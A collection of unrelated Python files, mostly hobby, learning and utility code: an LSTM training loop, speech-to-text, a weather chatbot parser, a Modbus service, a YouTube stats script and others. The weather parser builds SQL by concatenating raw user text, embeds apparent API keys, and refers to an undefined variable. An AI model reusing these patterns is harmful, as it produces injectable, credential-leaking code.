            saver.restore(sess, ckpt.model_checkpoint_path)
        else:
            # なければ全変数初期化
            sess.run(tf.initialize_all_variables())

        # tensorboard
        with tf.name_scope('summary'):
            tf.summary.scalar('loss', cross_entropy)
            tf.summary.scalar('accu', accuracy)
            merged = tf.summary.merge_all()
            writer = tf.summary.FileWriter('./lstm_logs', sess.graph)

        train_index = 0
        for i in range(EPOCH):

            # testから5箇所ランダムに計測
            for r in range(5):
                rand = random.randrange(len(test_datas))
                d, s_, flag = np_next(test_datas, rand)
                l, s_, flag = np_next(test_labels, rand)
                [accu, res] = sess.run([accuracy, y_conv], feed_dict={x_: d, y_: l})
                print("step {0} {1}, test accuracy {2}".format(r, rand, accu))
                if(r == 4):
                    print(res[0])
                    print(l[0])
                    print(res[1])
                    print(l[1])
                    print(res[2])
                    print(l[2])
                    print(res[3])
                    print(l[3])
                    print(res[4])
                    print(l[4])

            # trainから5箇所ランダムに計測
            for r in range(5):
                rand = random.randrange(len(learning_labels))
                d, s_, flag = np_next(learning_datas, rand)
                l, s_, flag = np_next(learning_labels, rand)
                accu, loss = sess.run([accuracy, cross_entropy], feed_dict={x_: d, y_: l})
                print("step {0} {1}, learning accuracy {2} loss {3}".format(r, rand, accu, loss))

            # train
            # for x in range(100):
            #    rand = random.randrange(len(learning_labels))
            #    d, s_, flag = np_next(learning_datas, rand)
            #    l, s_, flag = np_next(learning_labels, rand)
            #    merge, _ = sess.run([merged, train_step], feed_dict={x_: d, y_: l})
            #    # print("train step {0} {1}".format(i, train_index))
            flg = True
            while(flg):
                d, s_, flag = np_next(learning_datas, train_index)
                l, s_, flag = np_next(learning_labels, train_index)
                merge, _ = sess.run([merged, train_step], feed_dict={x_: d, y_: l})
                train_index = s_
                flg = flag
                print("train step {0} {1}".format(i, train_index))

            # for r in range(100):
            #     rand = random.randrange(len(learning_labels))
            #     d, s_, flag = np_next(learning_datas, rand)
            #     l, s_, flag = np_next(learning_labels, rand)
            #     merge, _ = sess.run([merged, train_step], feed_dict={x_: d, y_: l, keep_prob: 0.5})
            #     print("train step {0} {1}".format(r, rand))

            writer.add_summary(merge, i)
            saver.save(sess, "./lstm_model/model.ckpt")

if __name__ == "__main__":
    learningmain()


from watson_developer_cloud import SpeechToTextV1
import json
from os.path import join, dirname
# APIキーをconfig.pyに書いて参照
import config

speech_to_text = SpeechToTextV1(
    iam_apikey=config.API_KEY_SPEEECH_TO_TEXT,
    url='https://gateway-tok.watsonplatform.net/speech-to-text/api'
)

# 音声入力したファイル
files = ['Speech.wav']

for file in files:
    with open(join(dirname(__file__), './.', file),
              'rb') as audio_file:
        speech_recognition_results = speech_to_text.recognize(
            audio=audio_file,
            model='ja-JP_BroadbandModel',
            content_type='audio/wav',
            timestamps=True,
            word_alternatives_threshold=0.9,
            keywords=['colorado', 'tornado', 'tornadoes'],
            keywords_threshold=0.5
        ).get_result()
    p = json.dumps(speech_recognition_results,
                   indent=2, ensure_ascii=False)

    data = json.loads(p)
# 音声テキストのみ抽出

for i in data["results"]:
    text = i["alternatives"][0]["transcript"]
    print(text)


import nltk, json, re, urllib, os, psycopg2
from datetime import date, timedelta
from geopy.geocoders import Nominatim

class WQP:

	def __init__(self):
		self.CitiesDictionary = json.load(open("Dataset.json", 'r'))
		self.CitiesRegexPattern = r"\W("
		self.CountryRegexPattern = r"\W("
		countries = set()
		for city in self.CitiesDictionary:
			self.CitiesRegexPattern += city["City"] + '|' + city["City"].lower() + '|'
			if city["Country"] not in countries:
				self.CountryRegexPattern += city["Country"] + '|' + city["Country"].lower() + '|'
		self.CitiesRegexPattern = self.CitiesRegexPattern[:-1] + ")\W"
		self.CountryRegexPattern = self.CountryRegexPattern[:-1] + ")\W"

	def DateExtractor(self, pos_tokens):
		DateRegex = re.compile("^(0?[1-9]|(1|2)[0-9]|3[0-1])(-|/)(0?[1-9]|1[0-2])(-|/)([1-2][0-9]{3})$")
		tokens = []
		Dates = []
		for (token, pos) in pos_tokens:
			if pos == "NN":
				tokens += [token]
			elif DateRegex.match(token):
				if token[2] == '/' or token[1] == '/':
					token = token.split('/')
				else:
					token = token.split('-')
				if len(token[0]) == 1:
					token[0] = '0' + token[0]
				if len(token[1]) == 1:
					token[1] = '0' + token[1]
				token = ''.join([token[2], token[1], token[0]])
				Dates += [token]
		for token in tokens:
			if token.lower() == "yesterday":
				Date = date.today() - timedelta(1)
				Dates += [Date.strftime("%Y%m%d")]
			elif token.lower() == "today":
				Date = date.today()
				Dates += [Date.strftime("%Y%m%d")]
			elif token.lower() == "tomorrow":
				Date = date.today() + timedelta(1)
				Dates += [Date.strftime("%Y%m%d")]
		if len(Dates) == 0:
			Dates = [date.today().strftime("%Y%m%d")]
		return list(set(Dates))

	def CityExtractor(self):
		tmp = re.findall(self.CitiesRegexPattern, self.Text)
		if tmp == None:
			return []
		return [city for city in self.CitiesDictionary if city["City"] in tmp or city['City'].lower() in tmp]

	def CountryExtactor(self):
		tmp = re.findall(self.CountryRegexPattern, self.Text)
		if tmp == None:
			return []
		return [country.lower() for tup in tmp for country in tup if country != '']

	def LatitudeLongitudeExtractor(self):
		tmp = re.findall("-?\d+.\d+\s?,\s?-?\d+.\d+", self.Text)
		return [LatitudeLongitude.split(',') for LatitudeLongitude in tmp]

	def MED(self, token1, token2):
		token1 = token1.lower()
		token2 = token2.lower()
		table = [[0 for x in range(len(token2) + 1)] for y in range(len(token1) + 1)]
		for i in range(0, len(token1) + 1):
			table[i][0] = i
		for j in range(0, len(token2) + 1):
			table[0][j] = j
		for i in range(1, len(token1) + 1):
			for j in range(1, len(token2) + 1):
				if token1[i - 1] == token2[j - 1]:
					table[i][j] = table[i - 1][j - 1]
				else:
					table[i][j] = min([table[i][j - 1] + 1, table[i - 1][j] + 1, table[i - 1][j - 1] + 1])
		return table[len(token1)][len(token2)]

	def NearestCitiesExtractor(self, pos_tokens):
		tokens = [token for (token, pos) in pos_tokens if pos == "NN" or pos == "NNP"]
		Cities = []
		for token in tokens:
			for city in self.CitiesDictionary:
				if self.MED(token, city["City"]) <= 1 or self.MED(token, city["City"].lower()) <= 1:
					Cities += [city]
		return Cities

	def NearestCountriesExtractor(self, pos_tokens):
		tokens = [token for (token, pos) in pos_tokens if pos == "NN" or pos == "NNP"]
		Countries = []
		for token in tokens:
			for city in self.CitiesDictionary:
				if self.MED(token, city["Country"]) <= 1 or self.MED(token, city["Country"].lower()) <= 1:
					Countries += [city["Country"]]
		return Countries

	def GetWeatherOfCity(self, City, Date):
		API_URL = "http://api.wunderground.com/api/4d474af3da6c8f65/forecast/history_" + Date + "/q/" + City["Country Abbriviation"] + "/" + City["City"].replace(' ', '_') + ".json"
		try:
			if urllib.request.urlopen(urllib.request.Request(url = API_URL)).status != 200:
				API_URL = "https://api.darksky.net/forecast/72c800b6ff36bc469f9b9b4ab751ed16/" + City["Latitude"] + ',' + City["Longitude"] + ',' + Date[:4] + '-' + Date[4:6] + '-' + Date[:2] + "T12:20:05"

				if urllib.request.urlopen(urllib.request.Request(url = API_URL)).status != 200:
					return str("Sorry, I couldn't find the weather for " + City['City'] + ", " + City["Country"] + " in my weahter APIs.")

				request = urllib.request.Request(API_URL)
				file = urllib.request.build_opener().open(request)
				json_data = json.loads(file.read())
				Date = Date[-2:] + '/' + Date[4:6] + '/' + Date[:4]
				self.SaveResultToBD(City['City'] + ", " + City["Country"], Date)
				return str("According to darksky API : Weather in " + City["City"] + ", " + City["Country"] + " in " + Date + " is : " + json_data["daily"]["summary"])

			request = urllib.request.Request(API_URL)
			file = urllib.request.build_opener().open(request)
			json_data = json.loads(file.read())
			Date = Date[-2:] + '/' + Date[4:6] + '/' + Date[:4]
			self.SaveResultToBD(City['City'] + ", " + City["Country"], Date)
			return str("According to wunderground API : Weather in " + City["City"] + ", " + City["Country"] + " in " + Date + " is : " + json_data["forecast"]["txt_forecast"]["forecastday"][0]["fcttext_metric"])
		except:
			print(API_URL)
			return str("Sorry, Somthing went wrong with my APIs while searching for " + City["City"] + ", " + City["Country"] + " 😥😥😥.")

	def LatitudeLongitudeWeather(self, Recipient_ID, LatitudeLongitude, Text):
		Date = date.today().strftime("%Y%m%d")
		self.Recipient_ID = Recipient_ID
		self.Text = Text
		LatitudeLongitudePair = str(LatitudeLongitude[0]) + "," + str(LatitudeLongitude[1])

		geolocator = Nominatim()
		location = geolocator.reverse(LatitudeLongitudePair)
		try:
			location = " " + location.raw["address"]["city"] + ', ' + location.raw["address"]["country"]
		except:
			location = ""

		API_URL = "http://api.wunderground.com/api/4d474af3da6c8f65/forecast/history_" + Date + "/q/" + LatitudeLongitudePair + ".json"

		try:
			if urllib.request.urlopen(urllib.request.Request(url = API_URL)).status != 200:
				API_URL = "https://api.darksky.net/forecast/72c800b6ff36bc469f9b9b4ab751ed16/" + City["Latitude"] + ',' + City["Longitude"] + ',' + Date[:4] + '-' + Date[4:6] + '-' + Date[:2] + "T12:20:05"

				if urllib.request.urlopen(urllib.request.Request(url = API_URL)).status != 200:
					return str("Sorry, I couldn't find the weather for location (" + LatitudeLongitudePair + ") in my weahter APIs.")

				request = urllib.request.Request(API_URL)
				file = urllib.request.build_opener().open(request)
				json_data = json.loads(file.read())
				Date = Date[-2:] + '/' + Date[4:6] + '/' + Date[:4]
				self.SaveResultToBD(City['City'] + ", " + City["Country"], Date)
				return ["According to darksky API : Weather in location (" + LatitudeLongitudePair + ") " + location + " is : " + json_data["daily"]["summary"]]

			request = urllib.request.Request(API_URL)
			file = urllib.request.build_opener().open(request)
			json_data = json.loads(file.read())
			Date = Date[-2:] + '/' + Date[4:6] + '/' + Date[:4]
			self.SaveResultToBD('(' + LatitudeLongitudePair + ')', Date)

			return [str("According to wunderground API : Weather in location (" + LatitudeLongitudePair + ")" + location + " is : " + json_data["forecast"]["txt_forecast"]["forecastday"][0]["fcttext_metric"])]
		except:
			print(API_URL)
			return [str("Sorry, Somthing went wrong with my APIs while searching for location (" + LatitudeLongitudePair + ") 😥😥😥")]

	def GetCityWithCountry(self, CityCountryName):
		CityCountry = CityCountryName.split(',')
		CityCountry[1] = CityCountry[1][1:]
		return [city for city in self.CitiesDictionary if city["City"].lower() == CityCountry[0].lower() and city["Country"].lower() == CityCountry[1].lower()]

	def SaveResultToBD(self, city, date1):
		connection = psycopg2.connect("dbname='" + os.environ['DB_NAME'] + "' user='" + os.environ['DB_USER'] + "' host='" + os.environ['DB_HOST'] + "' password='" + os.environ['DB_PASSWORD'] + "'")
		cursor = connection.cursor()
		cursor.execute("INSERT INTO queryhistory (recipientid, querydate, requestedcity, requesteddate, inquiry) VALUES ('" + str(self.Recipient_ID) + "', '" + date.today().strftime("%d/%m/%Y") + "', '" + city + "', '" + date1 + "', '" + self.Text + "');")
		connection.commit()
		connection.close()

	def ProcessQuery(self, Recipient_ID, Text):
		self.Text = ' ' + Text + ' '
		self.Recipient_ID = Recipient_ID

		print("Text : ", self.Text)

		pos_tokens = nltk.pos_tag(nltk.word_tokenize(self.Text))

		Dates = self.DateExtractor(pos_tokens)

		ExtractedCitiesByName = self.CityExtractor()

		ExtractedLatitudeLongitude = self.LatitudeLongitudeExtractor()

		ExtractedCountries = self.CountryExtactor()

		result = [0, []]
		# 0 >> Matched city in country or matched LatitudeLongitude
		# 1 >> Matched city in newarest country
		# 2 >> Mathced city in no country
		# 3 >> Matched nearest city in country
		# 4 >> Matched nearest city in nearest country
		# 5 >> Matched nearest city in no country
		# 6 >> No matched city

		if len(ExtractedCitiesByName) >= 1:
			result[1] = ExtractedCitiesByName
			if len(ExtractedCountries) >= 1:
				result[1] = [city for city in result[1] if city["Country"].lower() in ExtractedCountries]
			else:
				NearestExtractedCountries = self.NearestCountriesExtractor(pos_tokens)
				result[0] = 1
				if len(NearestExtractedCountries) >= 1:
					result[1] = [city for city in result[1] if city["Country"] in NearestExtractedCountries]
				else:
					result[0] = 2
		else:
			result[1] = self.NearestCitiesExtractor(pos_tokens)
			result[0] = 3
			if len(ExtractedCountries) >= 1:
				result[1] = [city for city in result[1] if city["Country"] in ExtractedCountries]
			else:
				NearestExtractedCountries = self.NearestCountriesExtractor(pos_tokens)
				result[0] = 4
				if len(NearestExtractedCountries) >= 1:
					result[1] = [city for city in result[1] if city["Country"] in NearestExtractedCountries]
				else:
					result[0] = 5

		FinalResult = [result[0], [str(city["City"] + ", " + city["Country"]) for city in result[1]]]
		if result[0] == 0 or result[0] == 1 or result[0] == 2:
			if len(ExtractedLatitudeLongitude) >= 1:
				FinalResult[1] += [str('(' + LatitudeLongitude[0]) + "," + str(LatitudeLongitude[1] + ')') for LatitudeLongitude in ExtractedLatitudeLongitude]
		else:
			if len(ExtractedLatitudeLongitude) >= 1:
				FinalResult[1] = [str('(' + LatitudeLongitude[0]) + "," + str(LatitudeLongitude[1] + ')') for LatitudeLongitude in ExtractedLatitudeLongitude]

		if len(FinalResult[1]) == 0:
			FinalResult[0] = 6
			return FinalResult

		if len(FinalResult[1]) > 1:
			return FinalResult

		tmp = self.GetCityWithCountry(FinalResult[1][0])
		if len(tmp) == 0:
			LatitudeLongitude = FinalResult[1][0].split(',')
			LatitudeLongitude[0] = LatitudeLongitude[0][1:]
			LatitudeLongitude[1] = LatitudeLongitude[1][:-1]
			FinalResult[1] = self.LatitudeLongitudeWeather(self.Recipient_ID, LatitudeLongitude, self.Text)
		else:
			FinalResult[1] = [self.GetWeatherOfCity(tmp[0], Dates[0])]

		return FinalResult


# Importing all the necessary Libs
import json
import os
import time
from datetime import datetime

from asgiref.sync import async_to_sync
from channels.layers import get_channel_layer

from App.Json_Class.COMDevices_dto import COMdevice
from App.Json_Class.COMProperties_dto import COMPORTProperties
from App.Json_Class.SerialPortSetting_dto import SerialPortSettings
import threading
import App.globalsettings as appsetting
from App.Json_Class.COMPort_dto import Comport
from App.Json_Class.index import read_setting
from App.RTUReaders.modbusRtuReader import ReadRTU

# Initializing The StopThread as boolean-False
stopThread: bool = False

def modbus_rtu():
    data = read_setting()
    ports = ["COM1", "COM2"]

    for com in ports:

        comport: Comport = getattr(data.edgedevice.DataCenter, com)
        serial_port_setting1 = comport.properties.SerialPortSetting
        comProperties: COMPORTProperties = comport.properties
        if comport.properties.Enable == "True" or comport.properties.Enable == "true":
            for dev in comport.devices:
                if dev.properties.Enable == "True" or dev.properties.Enable == "true":
                    # Declaring Threading count and failed attempts object
                    threadsCount = {
                        "count": 0,
                        "failed": 0
                    }

                    # Initializing Threading
                    thread = threading.Thread(
                        target=ReadRTU,
                        args=(serial_port_setting1, dev, comProperties, threadsCount, threadCallBack, com))

                    # Starting the Thread
                    thread.start()

def sentLiveData(data):
    text_data = json.dumps(data, indent=4)

    channel_layer = get_channel_layer()
    async_to_sync(channel_layer.group_send)("notificationGroup", {
        "type": "chat_message",
        "message": text_data
    })

# log definition
def log(result):
    date = datetime.now().strftime("%Y_%m_%d")
    filename = f"log_{date}"
    filepath = './App/log/RTU/{}.json'.format(filename)

    a = []
    if not os.path.isfile(filepath):
        a.append(result)
        with open(filepath, mode='w') as f:
            f.write(json.dumps(a, indent=2))
    else:
        with open(filepath) as feedsjson:
            feeds = json.load(feedsjson)
        feeds.append(result)

        with open(filepath, mode='w') as f:
            f.write(json.dumps(feeds, indent=2))

# Callback Function is defined
def threadCallBack(settings: SerialPortSettings,
                   ComDevices: COMdevice,
                   comProperties: COMPORTProperties,
                   threadsCount,
                   result,
                   success,
                   com):
    # Save the data to log file
    if appsetting.runWebSocket:
        sentLiveData(result)

    log(result)
    # print("COM Data", result)
    # Printing the thread ID
    # print(threading.get_ident())

    # Checking the device status for failure
    if not success:
        threadsCount["failed"] = threadsCount["failed"] + 1
        if threadsCount["failed"] > int(comProperties.RetryCount):
            recoveryTime = int(comProperties.AutoRecoverTimes)
            time.sleep(recoveryTime)
            threadsCount["failed"] = 0
            print("wait for recover failed and wait for auto recovery")
    else:
        threadsCount["failed"] = 0
        threadsCount["count"] = threadsCount["count"] + 1

    # print(threadsCount["count"])
    # print("stop thread", stopThread)

    timeout = int(comProperties.ScanTimems) / 1000
    time.sleep(timeout)
    # print("Test==", appsetting.startRtuService)
    if appsetting.startRtuService:
        # print("Restarted")
        # Initializing Threading
        thread = threading.Thread(
            target=ReadRTU,
            args=(settings, ComDevices, comProperties, threadsCount, threadCallBack, com)
        )

        # Starting the Thread
        thread.start()

        # print("callback function called")
        # print("{}".format(threadsCount))
        # print(threading.get_ident())


# 908 Те, что делятся на 6
n1=int(input())
n=input().split()
c=[]
c1=[]
for i in n:
    i=int(i)
    if i>0:
        c.append(i)
for i in c:
    if i%6==0:
        c1.append(i)
print(len(c1), sum(c1))


import matplotlib.pyplot as plt

X, Y = [], []
for line in open('puntos.dat', 'r'):
  values = [float(s) for s in line.split()]
  X.append(values[0])
  Y.append(values[1])

plt.rc('grid', linestyle='dotted', color='grey')
plt.plot(X, Y)
plt.grid(True)
plt.savefig('plot.png')
plt.show()


import re
from dataclasses import dataclass
from collections import Counter
from dotenv import dotenv_values, load_dotenv
from lxml import etree

@dataclass(frozen=True)
class TForm:
    form: str
    id: str

class TRRForm:

    def __init__(self, form: str, _id: str, count: int):
        self.form: str = form
        self.id: str = _id
        self.count: int = count
        self.compiled = re.compile(r"\b"+self.form+r"\b")
        self.tag = f'<xref target="{self.id}">{self.form}</xref>'

    def matched(self, _text):
        return self.compiled.search(_text)

    def mark_up(self, _text) -> str:
        _matched = self.matched(_text)
        if _matched:
            return self.tag
        else:
            return _text

class TRRAnnotator:

    def __init__(self):
        self.config = dotenv_values(".env")
        self.xml_path = self.config.get("XML_PATH", "/Users/mattkohl/Development/trr-xml/tRR.xml")
        self.tree = etree.parse(self.xml_path)
        self.forms = self.build_forms()

    def __repr__(self):
        return "<TRRAnnotator>"

    @staticmethod
    def dedupe(forms, exclude):
        keys = dict()
        final = dict()
        for t_form, count in forms.items():
            key = t_form.form
            if key in keys and keys[key] > count or key in exclude:
                continue
            else:
                keys[key] = count
                final[key] = TRRForm(t_form.form, t_form.id, count)
        return sorted(final.values(), key=lambda x: len(x.form)*-1)

    def build_forms(self):
        exclude = {
            "back",
            "boy",
            "got",
            "hit"
        }

        def _build_xrefs():
            return [TForm(xref.text, xref.get("target")) for xref in self.tree.xpath("//lyric/xref")]

        def _build_forms():
            for lexeme in self.tree.xpath("//entry/senses"):
                forms = lexeme.xpath("forms/form/text()")
                senses = lexeme.xpath("sense")
                for sense in senses:
                    sense_id = sense.xpath("@id")[0]
                    for form in forms:
                        for example in sense.xpath("examples/example/lyric/text()"):
                            if form in example:
                                yield TForm(form, sense_id)
        example_counter = Counter(_build_forms())
        xrefs_counter = Counter(_build_xrefs())
        return TRRAnnotator.dedupe(example_counter + xrefs_counter, exclude)

    def definitions(self):
        return {
            sense.xpath("@id")[0]: ";".join(sense.xpath("definition"))
            for sense in self.tree.xpath("//sense")
        }

    def annotate(self, _text, q: str = None):
        if _text:
            for _form in filter(lambda x: x.form.lower() != q.lower(), self.forms):
                _matched = _form.matched(_text)
                if _matched and q not in _form.form:
                    before = _text[:_matched.start()]
                    marked_up = _form.mark_up(_text)
                    after = _text[_matched.end():]
                    return self.annotate(before, q) + marked_up + self.annotate(after, q)
        return _text


import requests
import json
import sys

def apiCall(query):
    try:
        r = requests.get(query)
        return json.loads(r.text)
    except requests.ConnectionError as e:
        print("Connection Error: ")
        print(e)
        sys.exit()

APIKey = input("Please enter your google API key or modify this line in the code to reference your google API key")
channelName = input("Please enter the name of the channel your are want to collect stats about. The channel name is not the one displayed below videos but the one which is part of the url of the channel.")

query = "https://www.googleapis.com/youtube/v3/channels?part=contentDetails&forUsername={0}&key={1}".format(channelName, APIKey)

result = apiCall(query)

uploads = result["items"][0]["contentDetails"]["relatedPlaylists"]["uploads"]

print(uploads)

query = "https://www.googleapis.com/youtube/v3/playlistItems?part=contentDetails&maxResults=10&playlistId={0}&key={1}".format(uploads, APIKey)
result = apiCall(query)

videos = []

print(str(result["pageInfo"]["totalResults"]) + " Videos")

for i in range(0, int(result["pageInfo"]["totalResults"]/result["pageInfo"]["resultsPerPage"])):
    for item in result["items"]:
        videos.append(item["contentDetails"]["videoId"])

    nextPageToken = result["nextPageToken"]

    query = "https://www.googleapis.com/youtube/v3/playlistItems?part=contentDetails&maxResults=10&pageToken={2}&playlistId={0}&key={1}".format(uploads, APIKey, nextPageToken)
    result = apiCall(query)
    print("Get video id numbers up to " + str((i + 1) * 10))

videoString = ""

statistics = {"title": [],
              "views": [],
              "likes": [],
              "dislikes": [],
              "favorite": [],
              "comments": []}
i = 0
j = 0

for video in videos:
    if videoString == "":
        videoString = video
    else:
        videoString += "," + video

    if i == 10:
        j += 10
        print("Processed videos up to " + str(j))
        query = "https://www.googleapis.com/youtube/v3/videos?part=statistics,snippet&id={0}&key={1}".format(videoString, APIKey)
        result = apiCall(query)

        for videoStatistic in result["items"]:
            statistics["title"].append(videoStatistic["snippet"]["title"])
            statistics["views"].append(videoStatistic["statistics"]["viewCount"])
            statistics["likes"].append(videoStatistic["statistics"]["likeCount"])
            statistics["dislikes"].append(videoStatistic["statistics"]["dislikeCount"])
            statistics["favorite"].append(videoStatistic["statistics"]["favoriteCount"])
            statistics["comments"].append(videoStatistic["statistics"]["commentCount"])
        i = 0
        videoString = ""
    else:
        i += 1

query = "https://www.googleapis.com/youtube/v3/videos?part=statistics,snippet&id={0}&key={1}".format(videoString, APIKey)
result = apiCall(query)

if "items" in result:
    for videoStatistic in result["items"]:
        statistics["title"].append(videoStatistic["snippet"]["title"])
        statistics["views"].append(videoStatistic["statistics"]["viewCount"])
        statistics["likes"].append(videoStatistic["statistics"]["likeCount"])
        statistics["dislikes"].append(videoStatistic["statistics"]["dislikeCount"])
        statistics["favorite"].append(videoStatistic["statistics"]["favoriteCount"])
        statistics["comments"].append(videoStatistic["statistics"]["commentCount"])

views = 0
likes = 0
dislikes = 0
favorite = 0
comments = 0

likesPerViewPerVideo = 0
dislikesPerViewPerVideo = 0
favoritePerViewPerVideo = 0
commentsPerViewPerVideo = 0

f = open(channelName + ".txt", "w+")

for i in range(0, len(statistics["views"])):
    views += int(statistics["views"][i])
    likes += int(statistics["likes"][i])
    dislikes += int(statistics["dislikes"][i])
    favorite += int(statistics["favorite"][i])
    comments += int(statistics["comments"][i])

    if int(statistics["likes"][i]) != 0:
        likesPerViewPerVideo += int(statistics["views"][i]) / int(statistics["likes"][i])
    else:
        likesPerViewPerVideo = int(statistics["views"][i])
    if int(statistics["dislikes"][i]) != 0:
        dislikesPerViewPerVideo += int(statistics["views"][i]) / int(statistics["dislikes"][i])
    else:
        dislikesPerViewPerVideo = int(statistics["views"][i])
    if int(statistics["favorite"][i]) != 0:
        favoritePerViewPerVideo += int(statistics["views"][i]) / int(statistics["favorite"][i])
    else:
        favoritePerViewPerVideo = int(statistics["views"][i])
    if int(statistics["comments"][i]) != 0:
        commentsPerViewPerVideo += int(statistics["views"][i]) / int(statistics["comments"][i])
    else:
        commentsPerViewPerVideo = int(statistics["views"][i])

if likes != 0:
    likesPerViewPerVideo = views / likes
else:
    likesPerViewPerVideo = views
if dislikes != 0:
    dislikesPerViewPerVideo = views / dislikes
else:
    dislikesPerViewPerVideo = views
if favorite != 0:
    favoritePerViewPerVideo = views / favorite
else:
    favoritePerViewPerVideo = views
if comments != 0:
    commentsPerViewPerVideo = views / comments
else:
    commentsPerViewPerVideo = views

content = f.read()
f.seek(0,0)
f.write("Total views: " + str(views) + "\nTotal likes: " + str(likes) + "\nAverage views per like: " + str(likesPerViewPerVideo) + "\nTotal dislikes: " + str(dislikes) + "\nAverage views per dislike: " + str(dislikesPerViewPerVideo) + "\nTotal favorites: " + str(favorite) + "\nAverage views per favorite: " + str(favoritePerViewPerVideo) + "\nTotal comments: " + str(comments) + "\nAverage views per comment: " + str(commentsPerViewPerVideo) + "\n\n" + content)
f.close()


__author__ = 'yinyan'
"""
Question Description:
Implement a function to check if a linked list is a palindrome.
"""
#************************************Using ****************************************************
#
#
#
#Time Complexity O()
#Space Complexity O()
##################################Using ###########################################################################
#
#
#
#
#
#Time Complexity O()
#Space Complexity O()
"""$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$Pitfall and Failures$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$"""
#
#
#
#
############################################################################################################
class ListNode:
    def __init__(self, x):
        self.val = x
        self.next = None
class Solution(object):
    def isPalindrome(self, head):
        if not head or not head.next: return True
        slow=fast=head
        while fast.next and fast.next.next:
            fast=fast.next.next
            slow=slow.next
        if fast.next:
            slow=slow.next
        slow=self.reverse(slow)
        while slow:
            if head.val!=slow.val:
                return False
            slow=slow.next
            head=head.next
        return True
    def reverse(self, head):
        pre=None
        while head:
            next=head.next
            head.next=pre
            pre=head
            head=next
        return pre
    def isPal(self, head):
        if not head or not head.next: return True
        slow=fast=head
        while fast.next and fast.next.next:
            fast=fast.next.next
            slow=slow.next
        if fast.next:
            slow=slow.next
        slow=self.reverseHelp(slow)
        while slow and slow.val==head.val:
            slow=slow.next
            head=head.next
        return not slow

    def reverseHelp(self, head):
        pre=None
        while head:
            next=head.next
            head.next=pre
            pre=head
            head=next
        return pre


# File Name find_whales.py
# Application finds the occurrence of the word "whale" in Moby Dick.

import re

def main():
    # variables used:
    whale_within_line = 0
    whale_beginning_line = 0
    whale_end_line = 0
    whale_beginning_or_end = 0
    whale_beinning_and_end_line = 0

    # pull file into application
    print('This file will look for the number of times the word "whale" occurs in a file.')
    infile_name = input("Please type the name of file title to get started: ")
    infile = open(infile_name, 'r', encoding='utf-8')

    # loop used to hunt the 'whale' string down:
    for line in infile:
        line = line.lower()
        if re.search('whale', line):
            whale_within_line += 1
        if re.search('^whale', line):
            whale_beginning_line += 1
        if re.search('whale$', line):
            whale_end_line += 1
        if re.search('^whale|whale$', line):
            whale_beginning_or_end += 1
        if re.search('^whale.*whale$', line):
            whale_beinning_and_end_line += 1

    infile.close()

    # Return output to user
    print('Number of times "Whale" appeared in a line: {}'.format(whale_within_line))
    print('Number of times "Whale" began a line: {}'.format(whale_beginning_line))
    print('Number of times "Whale" ended a line: {}'.format(whale_end_line))
    print('Number of times "Whale" began or ended a line: {}'.format(whale_beginning_or_end))
    print('Number of times "Whale" began and ended a line: {}'.format(whale_beinning_and_end_line))

main()


import matplotlib as mpl
import matplotlib.pyplot as plt
import random as rand

mpl.__version__

plt.plot([1, 3, 5], [2, 5, 7])
plt.show()

x = rand.sample(range(0,10),10)
y = rand.sample(range(0,10),10)

x1 = list(map(lambda x: x - 1, x))
y2 = list(map(lambda y: y - 1, y))

plt.plot(x, y, label='Legenda da serie')
plt.xlabel('Eixo x - Variavel 1')
plt.ylabel('Eixo y - Variavel 2')
plt.title('Testando Matplotlib 3.0.2')

plt.legend()
plt.show()

plt.bar(x, y, label='Serie 1', color='r')
plt.bar(x1, y2, label='Serie 2', color='y')
plt.legend()
plt.show()

idades = [22, 65, 45, 55, 21, 22, 34, 42, 41, 4, 99, 101, 120, 122, 130, 111, 115, 80, 75, 54, 44, 64, 13, 18, 48]
ids = [x for x in range(len(idades))]
print(ids)
plt.bar(ids, idades)
plt.show()

bins = [0, 10, 20, 30, 40, 50, 60, 70, 80, 90, 100, 110, 120, 130]
#plt.hist(idades, bins, histtype='bar', rwidth=0.8)
plt.hist(idades, bins, histtype='stepfilled', rwidth=0.8)
plt.show()

x2 = [rand.sample(range(0, 10), 10)]
y2 = [rand.sample(range(0, 10), 10)]
plt.scatter(x2, y2, label = 'Pontos', color='r', marker='o', s=100)
plt.legend()
plt.show()


"""authentik OAuth source urls"""

from django.urls import path

from authentik.sources.oauth.types.registry import RequestKind
from authentik.sources.oauth.views.dispatcher import DispatcherView

urlpatterns = [
    path(
        "login/<slug:source_slug>/",
        DispatcherView.as_view(kind=RequestKind.REDIRECT),
        name="oauth-client-login",
    ),
    path(
        "callback/<slug:source_slug>/",
        DispatcherView.as_view(kind=RequestKind.CALLBACK),
        name="oauth-client-callback",
    ),
]


from __future__ import print_function, division
import os
import sys
from tqdm import *
import pandas as pd
import numpy as np
from numpy import random
from PIL import Image
import skimage
import PIL
import matplotlib.pyplot as plt
from skimage import io, transform
#import image_slicer

import torch
from torch.utils.data import Dataset, DataLoader
from torchvision import transforms, utils
from torch.autograd import Variable
import torchvision.transforms.functional as TF

# Ignore warnings
import warnings
warnings.filterwarnings("ignore")

plt.ion()   # interactive mode

normalize = transforms.Normalize(mean=[0.485, 0.456, 0.406],
                                std=[0.229, 0.224, 0.225])

class pascal_voc_dataset_train():
    """ SUN-RGBD dataset - RGB-D semantic labeling.
    Download datset from : http://cvgl.stanford.edu/data2/sun_rgbd.tgz
    """

    def __init__(self,name_list_file,root_dir,transform=None,sizes=[(280,360),(240,320)]):
        """
        Args:
            mask_dir (string): Path to (img) annotations.
            img_dir (string): Path with all the training images.
            transform (callable, optional): Optional transform to be applied
                on a sample.
        """
        self.name_table = pd.read_csv(name_list_file,names=['rgb','gt'],delim_whitespace=True)
        self.root_dir = root_dir
        self.transform = transform

        self.sizes =sizes

    def __len__(self):
        return len(self.name_table)

    def _transform(self, image, mask, sizes):
        # Resize
        resize = transforms.Resize(size=self.sizes[0])
        image = resize(image)
        mask = resize(mask)

        normalize = transforms.Normalize(mean=[0.485, 0.456, 0.406],
                std=[0.229, 0.224, 0.225])

        # Random crop
        i, j, h, w = transforms.RandomCrop.get_params(
            image, output_size=self.sizes[1])
        image = TF.crop(image, i, j, h, w)
        mask = TF.crop(mask, i, j, h, w)

        # Random horizontal flipping
        if random.random() > 0.5:
            image = TF.hflip(image)
            mask = TF.hflip(mask)

        # Transform to tensor
        image = TF.to_tensor(image).type('torch.FloatTensor')
        mask = torch.from_numpy(np.array(mask)).type('torch.FloatTensor')

        # normalize
        image = normalize(image)

